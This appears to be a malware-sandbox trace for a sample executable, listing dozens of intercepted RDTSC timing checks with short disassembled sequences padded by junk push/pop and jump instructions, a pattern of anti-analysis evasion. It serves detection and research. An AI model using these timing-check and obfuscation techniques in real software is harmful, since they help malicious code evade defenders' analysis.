Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A23BB0 second address: A23BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A21BB3 second address: A21BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A21BBB second address: A21BBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A21CF5 second address: A21D0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F7F91348E30h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A21D0E second address: A21D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F9153F87Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A22753 second address: A22759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A22759 second address: A22763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7F9153F876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A22763 second address: A227B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E32h 0x00000007 jmp 00007F7F91348E2Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F7F91348E37h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jng 00007F7F91348E26h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A227B2 second address: A227B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A227B8 second address: A227C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A22D55 second address: A22D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F7F9153F876h 0x0000000d jo 00007F7F9153F876h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2384D second address: A23868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jp 00007F7F91348E28h 0x0000000d push edi 0x0000000e push edx 0x0000000f jnp 00007F7F91348E26h 0x00000015 pop edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A27557 second address: A27573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F7F9153F87Eh 0x0000000c jnc 00007F7F9153F876h 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007F7F9153F876h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2EBF4 second address: A2EC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7F91348E26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F7F91348E26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2EC07 second address: A2EC0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2EEDD second address: A2EEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2EEE7 second address: A2EEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2EEEC second address: A2EEF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2EEF4 second address: A2EF10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F888h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2F06D second address: A2F072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2F072 second address: A2F08D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007F7F9153F876h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F7F9153F87Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2F08D second address: A2F0B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F7F91348E39h 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2F215 second address: A2F21B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2F64F second address: A2F655 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2F655 second address: A2F660 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F7F9153F876h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2F660 second address: A2F669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2F7A8 second address: A2F7AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2F7AE second address: A2F7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A2F7B4 second address: A2F7BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A37118 second address: A37123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A37123 second address: A37127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A37653 second address: A37657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A37A74 second address: A37A94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F7F9153F87Eh 0x0000000e popad 0x0000000f push ecx 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A37A94 second address: A37A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A37A9A second address: A37A9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A37F07 second address: A37F34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F7F91348E26h 0x00000009 jng 00007F7F91348E26h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7F91348E39h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A3861C second address: A3862D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F9153F87Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A3862D second address: A38631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A38DA4 second address: A38DC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F7F9153F876h 0x00000012 jno 00007F7F9153F876h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A38DC4 second address: A38DD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F91348E2Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A38DD7 second address: A38DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A3EB4E second address: A3EB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A3EB54 second address: A3EB71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F887h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A3EB71 second address: A3EB76 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A3EB76 second address: A3EB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7F9153F876h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A3E869 second address: A3E876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F7F91348E26h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A454C9 second address: A454DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F9153F87Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A52271 second address: A5228D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a push ebx 0x0000000b jmp 00007F7F91348E2Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A57E3F second address: A57E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7F9153F876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A57E49 second address: A57E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A57E4D second address: A57E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F7F9153F87Dh 0x0000000c jmp 00007F7F9153F882h 0x00000011 pop edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jg 00007F7F9153F876h 0x0000001b jmp 00007F7F9153F881h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 popad 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A57E97 second address: A57E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A5E16D second address: A5E171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A6115C second address: A61162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A61162 second address: A61175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7F9153F87Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A6100D second address: A61025 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F7F91348E26h 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 jne 00007F7F91348E26h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A65CCD second address: A65CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A65CD3 second address: A65CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7F91348E26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A6884E second address: A6885D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F9153F87Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A6885D second address: A68873 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E32h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A6E45A second address: A6E45F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A6EA30 second address: A6EA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A6F807 second address: A6F833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7F9153F880h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F7F9153F87Eh 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F7F9153F876h 0x0000001d push edi 0x0000001e push edi 0x0000001f pop edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A73651 second address: A73657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A73657 second address: A73678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7F9153F882h 0x0000000c jns 00007F7F9153F876h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A731D7 second address: A731E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A731E2 second address: A731E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A76F2A second address: A76F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F91348E2Fh 0x00000009 jno 00007F7F91348E26h 0x0000000f jmp 00007F7F91348E2Eh 0x00000014 popad 0x00000015 push ecx 0x00000016 jmp 00007F7F91348E32h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A76F69 second address: A76F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A7A0E1 second address: A7A0E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A81855 second address: A8185F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A8D4A5 second address: A8D4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7F91348E26h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007F7F91348E26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A90F40 second address: A90F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F7F9153F87Ch 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e push edi 0x0000000f jmp 00007F7F9153F884h 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 js 00007F7F9153F876h 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A969E7 second address: A969FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7F91348E30h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A969FE second address: A96A02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A96A02 second address: A96A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A96A08 second address: A96A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F7F9153F87Dh 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7F9153F87Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A96E4B second address: A96E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F7F91348E2Ah 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A96E5F second address: A96E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A97719 second address: A97739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F7F91348E39h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A97739 second address: A9778B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7F9153F87Ch 0x00000008 jbe 00007F7F9153F876h 0x0000000e jmp 00007F7F9153F881h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jne 00007F7F9153F8A6h 0x0000001b jnl 00007F7F9153F892h 0x00000021 pushad 0x00000022 jne 00007F7F9153F876h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A9AAEF second address: A9AAFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A9ACC2 second address: A9ACC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A9B028 second address: A9B03B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A9B03B second address: A9B062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 movsx edx, bx 0x0000000a push dword ptr [ebp+122D22C5h] 0x00000010 sub dword ptr [ebp+122D1A8Ah], ecx 0x00000016 push E25A9106h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F7F9153F87Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A9DC1E second address: A9DC23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A9DC23 second address: A9DC3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F7F9153F883h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A9DC3C second address: A9DC40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A9DC40 second address: A9DC58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F7F9153F87Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
